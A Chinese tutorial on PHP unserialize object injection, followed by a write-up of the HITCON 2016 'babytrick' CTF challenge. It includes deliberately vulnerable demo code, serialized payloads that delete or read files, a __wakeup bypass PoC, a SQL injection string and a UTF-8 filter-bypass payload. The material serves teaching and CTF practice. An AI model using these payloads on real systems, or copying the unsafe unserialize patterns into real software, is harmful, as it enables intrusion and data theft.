PHP反序列化漏洞

php反序列化漏洞又称为php对象注入，是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险。为了理解这个漏洞，请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子，1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数，该函数会输出变量variable。

1. <?php    
2.      
3. class TestClass    
4. {    
5.     // 一个变量    
6.      
7.     public $variable = 'This is a string';    
8.      
9.     // 一个简单的方法    
10.      
11.     public function PrintVariable()    
12.     {    
13.         echo $this->variable;    
14.     }    
15. }    
16.      
17. // 创建一个对象    
18.      
19. $object = new TestClass();    
20.      
21. // 调用一个方法    
22.      
23. $object->PrintVariable();    
24.      
25. ?>   

php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号__开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用，比如__construct当一个对象创建时被调用，__destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的，在2.php中增加了三个magic方法，__construct, __destruct和__toString。可以看出，__construct在对象创建时调用，__destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用时调用。

1. <?php    
2.      
3. class TestClass    
4. {    
5.     // 一个变量    
6.      
7.     public $variable = 'This is a string';    
8.      
9.     // 一个简单的方法    
10.      
11.     public function PrintVariable()    
12.     {    
13.         echo $this->variable . '<br />';    
14.     }    
15.      
16.     // Constructor    
17.      
18.     public function __construct()    
19.     {    
20.         echo '__construct <br />';    
21.     }    
22.      
23.     // Destructor    
24.      
25.     public function __destruct()    
26.     {    
27.         echo '__destruct <br />';    
28.     }    
29.      
30.     // Call    
31.      
32.     public function __toString()    
33.     {    
34.         return '__toString<br />';    
35.     }    
36. }    
37.      
38. // 创建一个对象    
39. //  __construct会被调用    
40.      
41. $object = new TestClass();    
42.      
43. // 创建一个方法     
44.      
45. $object->PrintVariable();    
46.      
47. // 对象被当作一个字符串    
48. //  __toString会被调用    
49.      
50. echo $object;    
51.      
52. // End of PHP script    
53. // 脚本结束__destruct会被调用    
54.      
55. ?>   

php允许保存一个对象方便以后重用，这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中，有可能遇到变量值要跨脚本文件传递的过程。试想，如果为一个脚本中想要调用之前一个脚本的变量，但是前一个脚本已经执行完毕，所有的变量和内容释放掉了，我们要如何操作呢?难道要前一个脚本不断的循环，等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值；unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子，看看php对象序列化之后的格式。

1. <?php    
2.      
3. // 某类    
4.      
5. class User    
6. {    
7.     // 类数据    
8.      
9.     public $age = 0;    
10.     public $name = '';    
11.      
12.     // 输出数据    
13.      
14.     public function PrintData()    
15.     {    
16.         echo 'User ' . $this->name . ' is ' . $this->age    
17.              . ' years old. <br />';    
18.     }    
19. }    
20.      
21. // 创建一个对象    
22.      
23. $usr = new User();    
24.      
25. // 设置数据    
26.      
27. $usr->age = 20;    
28. $usr->name = 'John';    
29.      
30. // 输出数据    
31.      
32. $usr->PrintData();    
33.      
34. // 输出序列化之后的数据    
35.      
36. echo serialize($usr);    
37.      
38. ?>   

为了使用这个对象，在4.php中用unserialize重建对象。

1. <?php    
2.      
3. // 某类    
4.      
5. class User    
6. {    
7.     // Class data    
8.      
9.     public $age = 0;    
10.     public $name = '';    
11.      
12.     // Print data    
13.      
14.     public function PrintData()    
15.     {    
16.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
17.     }    
18. }    
19.      
20. // 重建对象    
21.      
22. $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');    
23.      
24. // 调用PrintData 输出数据    
25.      
26. $usr->PrintData();    
27.      
28. ?>   

magic函数__construct和__destruct会在对象创建或者销毁时自动调用；__sleep magic方法在一个对象被序列化的时候调用；__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

1. <?php    
2.      
3. class Test    
4. {    
5.     public $variable = 'BUZZ';    
6.     public $variable2 = 'OTHER';    
7.      
8.     public function PrintVariable()    
9.     {    
10.         echo $this->variable . '<br />';    
11.     }    
12.      
13.     public function __construct()    
14.     {    
15.         echo '__construct<br />';    
16.     }    
17.      
18.     public function __destruct()    
19.     {    
20.         echo '__destruct<br />';    
21.     }    
22.      
23.     public function __wakeup()    
24.     {    
25.         echo '__wakeup<br />';    
26.     }    
27.      
28.     public function __sleep()    
29.     {    
30.         echo '__sleep<br />';    
31.      
32.         return array('variable', 'variable2');    
33.     }    
34. }    
35.      
36. // 创建对象调用__construct  
37.      
38. $obj = new Test();    
39.      
40. // 序列化对象调用__sleep    
41.      
42. $serialized = serialize($obj);    
43.      
44. // 输出序列化后的字符串    
45.      
46. print 'Serialized: ' . $serialized . '<br />';    
47.      
48. // 重建对象调用__wakeup    
49.      
50. $obj2 = unserialize($serialized);    
51.      
52. // 调用PintVariable输出数据   
53.      
54. $obj2->PrintVariable();    
55.      
56. // 脚本结束调用__destruct     
57.      
58. ?>   

现在我们了解序列化是如何工作的，但是我们如何利用它呢?有多种可能的方法，取决于应用程序、可用的类和magic函数。记住，序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类，这些函数会影响Web应用程序。例如，我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

1. <?php     
2.      
3. class LogFile    
4. {    
5.     // log文件名    
6.      
7.     public $filename = 'error.log';    
8.      
9.     // 储存日志文件    
10.      
11.     public function LogData($text)    
12.     {    
13.         echo 'Log some data: ' . $text . '<br />';    
14.         file_put_contents($this->filename, $text, FILE_APPEND);    
15.     }    
16.      
17.     // 删除日志文件    
18.      
19.     public function __destruct()    
20.     {    
21.         echo '__destruct deletes "' . $this->filename . '" file. <br />';    
22.         unlink(dirname(__FILE__) . '/' . $this->filename);    
23.     }    
24. }    
25.      
26. ?>   

这是一个使用它的例子。

1. <?php    
2.      
3. include 'logfile.php';    
4.      
5. // 创建一个对象    
6.      
7. $obj = new LogFile();    
8.      
9. // 设置文件名和要储存的日志数据    
10.      
11. $obj->filename = 'somefile.log';    
12. $obj->LogData('Test');    
13.      
14. // 脚本结束__destruct被调用somefile.log文件被删除  
15.      
16. ?>   

在其它脚本中我们可能找到一个unserialize的调用，并且参数是用户提供的。把下面这段代码保存为test.php。

1. <?php    
2.      
3. include 'logfile.php';    
4.      
5. // ... 一些使用LogFile类的代码...    
6.      
7. // 简单的类定义    
8.      
9. class User    
10. {    
11.     // 类数据    
12.      
13.     public $age = 0;    
14.     public $name = '';    
15.      
16.     // 输出数据    
17.      
18.     public function PrintData()    
19.     {    
20.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
21.     }    
22. }    
23.      
24. // 重建用户输入的数据    
25.      
26. $usr = unserialize($_GET['usr_serialized']);    
27.      
28. ?>   

1. <?php    
2.   
3. include 'logfile.php';    
4.   
5. $obj = new LogFile();    
6. $obj->filename = '1.php';    
7.      
8. echo serialize($obj) . '<br />';    
9.      
10. ?>   

访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。

显示已经删除了1.php。验证一下，果然成功删除了。

这就是漏洞名称的由来：在变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其它坑爹的行为。先不谈 __wakeup 和 __destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。举个例子，某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj)，而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为test.php。

1. <?php     
2.      
3. // … 一些include ...    
4.      
5. class FileClass    
6. {    
7.     // 文件名    
8.      
9.     public $filename = 'error.log';    
10.      
11.     // 当对象被作为一个字符串会读取这个文件    
12.      
13.     public function __toString()    
14.     {    
15.         return file_get_contents($this->filename);    
16.     }    
17. }    
18.      
19. // Main User class    
20.      
21. class User    
22. {    
23.     // Class data    
24.      
25.     public $age = 0;    
26.     public $name = '';    
27.      
28.     // 允许对象作为一个字符串输出上面的data    
29.      
30.     public function __toString()    
31.     {    
32.         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
33.     }    
34. }    
35.      
36. // 用户可控    
37.      
38. $obj = unserialize($_GET['usr_serialized']);    
39.      
40. // 输出__toString    
41.      
42. echo $obj;    
43.      
44. }    
45. ?>   

访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。

但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

创建利用代码123.php。

1. <?php    
2.    
3. include 'test.php';    
4. $fileobj = new FileClass();    
5. $fileobj->filename = '1.txt';    
6.      
7. echo serialize($fileobj);    
8.      
9. ?>   

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。

成功显示了文本内容。也可以使用其他magic函数：如果对象将调用一个不存在的函数__call将被调用；如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数，在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据，但是其他类可能定义一个从数据库获取数据的get方法，这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件，可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类，但是一些框架或脚本具有自动加载的功能。最大的问题在于人：理解应用程序以能够利用这种类型的漏洞，因为它可能需要大量的时间来阅读和理解代码。

以上原文地址： https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

由HITCON 2016一道web聊一聊php反序列化漏洞

1.unserialize函数

php官方文档（ http://php.net/manual/en/function.unserialize.php ），从中可以得到信息unserialize函数会产生一个php值，类型可能为数组、对象等等。如果被反序列化的变量为对象，在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false）同时给出了警告，不要传递给unserialize不信任的用户输入。

理解序列化的字符串（unserlialize的参数）：

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo，有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i)，长度为4，值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data，长度为5的字符串aaaaa

object foo，属性file：shell.php，属性data：aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入，可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数，调用某一类并执行魔术方法(magic method)，之后可以执行类中函数，产生安全问题。

所以漏洞的前提：

1）unserialize函数的变量可控

2）php文件中存在可利用的类，类中有魔术方 法

利用场景 在ctf、代码审计中常见 ，黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞，ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有 对参数进行处理、换用更安全的函数。

推荐阅读：SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码，我们定义了一个对象之后又创建了对象并输出了序列化的字符串

<?php

// 某类

class User

{

// 类数据

public $age = 0;

public $name = '' ;

// 输出数据

public function PrintData ()

{

echo 'User ' . $this ->name . ' is ' . $this ->age

. ' years old. <br />' ;

}

}

// 创建一个对象

$usr = new User();

// 设置数据

$usr ->age = 20;

$usr ->name = 'John' ;

// 输出数据

$usr ->PrintData();

// 输出序列化之后的数据

echo serialize( $usr );

?>

输出为：

User John is 20 years old .

O :4:"User":2 :{ s : 3 : "age" ; i : 20 ; s : 4 : "name" ; s : 4 : "John”;}

以下代码同上，不过并没有创建对象，而是使用unserialize函数调用了这个类。大家可以试一下。

<?php

// 某类

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data public function PrintData ()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />' ;

}

}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

输出为：User John is 20 years old

这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’，即一个user对象，属性值age为20，属性值name为john。调用user类并给属性赋了值，在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例：

访问链接  http://52.198.42.246/  可以看到源代码如下：

（目前已关闭，可访问 https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick 查看源码

<?php

include "config.php" ;

class HITCON {

private $method;

private $args;

private $conn;

public function __construct ($method, $args) {

$this->method = $method;

$this->args = $args;

$this->__conn();

}

function show () {

list ($username) = func_get_args();

$sql = sprintf( "SELECT * FROM users WHERE username='%s'" , $username);

$obj = $this->__query($sql);

if ( $obj != false ) {

$this->__die( sprintf( "%s is %s" , $obj->username, $obj->role) );

} else {

$this->__die( "Nobody Nobody But You!" );

}

}

function login () {

global $FLAG;

list ($username, $password) = func_get_args();

$username = strtolower(trim(mysql_escape_string($username)));

$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf( "SELECT * FROM users WHERE username='%s' AND password='%s'" , $username, $password);

if ( $username == 'orange' || stripos($sql, 'orange' ) != false ) {

$this->__die( "Orange is so shy. He do not want to see you." );

}

$obj = $this->__query($sql);

if ( $obj != false && $obj->role == 'admin' ) {

$this->__die( "Hi, Orange! Here is your flag: " . $FLAG);

} else {

$this->__die( "Admin only!" );

}

}

function source () {

highlight_file( __FILE__ );

}

function __conn () {

global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

if (!$this->conn)

$this->conn = mysql_connect($db_host, $db_user, $db_pass);

mysql_select_db($db_name, $this->conn);

if ($DEBUG) {

$sql = "CREATE TABLE IF NOT EXISTS users (

username VARCHAR(64),

password VARCHAR(64),

role VARCHAR(64)

) CHARACTER SET utf8" ;

$this->__query($sql, $back= false );

$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')" ;

$this->__query($sql, $back= false );

}

mysql_query( "SET names utf8" );

mysql_query( "SET sql_mode = 'strict_all_tables'" );

}

function __query ($sql, $back=true) {

$result = @mysql_query($sql);

if ($back) {

return @mysql_fetch_object($result);

}

}

function __die ($msg) {

$this->__close();

header( "Content-Type: application/json" );

die ( json_encode( array ( "msg" => $msg) ) );

}

function __close () {

mysql_close($this->conn);

}

function __destruct () {

$this->__conn();

if (in_array($this->method, array ( "show" , "login" , "source" ))) {

@call_user_func_array( array ($this, $this->method), $this->args);

} else {

$this->__die( "What do you do?" );

}

$this->__close();

}

function __wakeup () {

foreach ($this->args as $k => $v) {

$this->args[$k] = strtolower(trim(mysql_escape_string($v)));

}

}

}

if ( isset ($_GET[ "data" ])) {

@unserialize($_GET[ "data" ]);

} else {

new HITCON( "source" , array ());

}

从源码中可以看到使用了unserialize函数并且没有过滤，且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag，需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话)，于是利用类中show函数得到密码。

看show函数我们可以看出未对参数进行过滤，可以进行sql注入，构造语句为：

bla’ union select password ,username, password from users where username=’orange’– –

那么如何使用反序列化执行函数呢？注意到类中有魔术方法__wakeup，其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢？简单来说就是当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考 https://bugs.php.net/bug.php?id=72663 ，某一种情况下，出错的对象不会被毁掉，会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下：

<?php

class obj implements Serializable {

var $data;

function serialize () {

return serialize($this->data);

}

function unserialize ($data) {

$this->data = unserialize($data);

}

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"' . "" . '*' . "" . 'file";R:4;}' ;

$exploit = 'a:2:{i:0;C:3:"obj":' .strlen($inner). ':{' .$inner. '}i:1;R:4;}' ;

$data = unserialize($exploit);

echo $data[ 1 ];

?>

根据poc进行改造如下，计入了

O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}

O :6:"HITCON":3 :{ s : 14 : "%00HITCON%00method" ; s : 5 : "login" ; s : 12 : "%00HITCON%00args" ; a : 2 :{i: 0 ; s : 6 : "orange" ; i : 1 ; s : 8 : "password" ;} s :12:" %00 HITCON %00 conn "; O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}}

这种情况下就不会执行__wakeup方法。

（同时该cve介绍了另一种情况，即成员属性数目大于实际数目时可绕过wakeup方法，把 O:6:”HITCON”:3 中的3改为任意比3大数字即可，如5。另一种绕过方法为对wakeup过滤的绕过，利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00…”呢？k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00，url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码，直接” HITCON …”即可(%00替换为空格

加入注入语句为：

O :6:"HITCON":3 :{ s : 14 : "%00HITCON%00method" ; s : 4 : "show" ; s : 12 : "%00HITCON%00args" ; a : 2 :{i: 0 ; s : 83 : "bla’ union select password,username,password from users where username=’orange’– –" ; i : 1 ; s : 6 : "phddaa" ;} s :12:" %00 HITCON %00 conn "; O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}}

得到结果：

{“msg”:”babytrick1234 is babytrick1234″}

构造好：

O :6:"HITCON":3 :{ s : 14 : "%00HITCON%00method" ; s : 5 : "login" ; s : 12 : "%00HITCON%00args" ; a : 2 :{i: 0 ; s : 6 : "orange" ; i : 1 ; s : 13 : "babytrick1234" ;} s :12:" %00 HITCON %00 conn "; O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}}

这时会返回

{“msg”:”Orange is so shy. He do not want to see you.”}

接下来考虑如何绕过，注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8，考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã，可实现绕过。

poc为：

O :6:"HITCON":3 :{ s : 14 : "%00HITCON%00method" ; s : 5 : "login" ; s : 12 : "%00HITCON%00args" ; a : 2 :{i: 0 ; s : 6 : "orÃnge" ; i : 1 ; s : 13 : "babytrick1234" ;} s :12:" %00 HITCON %00 conn "; O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}}

得到了空白页面，注意到 s:6:”orÃnge” ，改为s:6:”orÃnge” ，构造如下：

O :6:"HITCON":3 :{ s : 14 : "%00HITCON%00method" ; s : 5 : "login" ; s : 12 : "%00HITCON%00args" ; a : 2 :{i: 0 ; s : 7 : "orÃnge" ; i : 1 ; s : 13 : "babytrick1234" ;} s :12:" %00 HITCON %00 conn "; O :9:"Exception":2 :{ s : 7 : "*file" ; R : 4 ;};}}

得到了结果，很开心有木有？

{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

参考资料：

http://0xecute.com/index.php/2016/10/10/baby-trick/#comment-644

http://www.wtoutiao.com/p/1e1gMC1.html

http://www.freebuf.com/vuls/80293.html

http://netsecurity.51cto.com/art/201502/464982.htm

https://kovige.github.io/2016/08/17/PHP%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/

http://www.melodia.pw/2016/10/10/hitcon-2016-web-writeup/

http://www.neatstudio.com/show-161-1.shtml

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